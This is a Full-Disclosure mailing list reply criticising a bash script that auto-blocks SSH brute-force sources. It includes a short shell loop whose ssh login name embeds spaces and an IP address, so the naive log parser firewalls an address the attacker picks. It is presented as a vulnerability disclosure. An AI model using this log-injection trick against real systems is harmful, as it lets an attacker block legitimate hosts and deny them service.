Re: [Full-disclosure] reduction of brute force login attempts via SSH through iptables --hashlimit

On 2/28/06, GroundZero Security <fd@xxxxxxx> wrote:
Hello,

i made a small bash script last year to block those bruteforce attempts automatically via the firewall.
In case someone is interested, i released it on our website. Someone may have a use for it :-)
http://www.groundzero-security.com/code/bruteforce-block.sh
Have a nice day everyone!

-sk

That is remarkably shoddy coding from a "security research and
software developer".

*NEWS FLASH* most platforms allow login names to contain spaces.

$ for ((i=0;i<5;i++));
do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
done

And i just added an arbitrary address to your firewall, fun!
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • keeping connected with pppd and a firewall, how?
    ... I have a Bash script that starts pppd, waits 40 seconds (so that an IP ... then starts the firewall. ... lose connection once or twice a day, then I run this script again. ...
    (alt.os.linux)
  • Re: What is SFS ?
    ... Install a customised kernel and a bash script to act as your firewall ... (IPTABLES). ...
    (comp.os.linux.setup)
  • Re: some kind of attack. i need some help here!
    ... i do have a firewall in place; and since they exploited the sshd, ... > Here is why you need a clean install ... > Get all the vendor updates to your distro. ... > Always login from the console, no su, telnet, ssh,.. ...
    (comp.os.linux.security)
  • Re: [Fedora] Seeing input on Securing the Linux system from intrusions and attacks.
    ... during initial setup phase, this firewall remains until updates are all ... That's true on XP Professional and on Server 2003... ... Server allows two concurrent logins; presumably one can login as a mere mortal and use RDP to connect as an administrator; I simply connect as an administrator from my Linux box. ...
    (Fedora)
  • Re: FTP Login flood
    ... I believe some smart router or firewall will have this kind of feature. ... They are still attempting to login, ... > they did succeed in doing until I allowed the Event Log to overwrite, ... > this is followed by the flood of login attepts from a different ...
    (microsoft.public.inetserver.iis.security)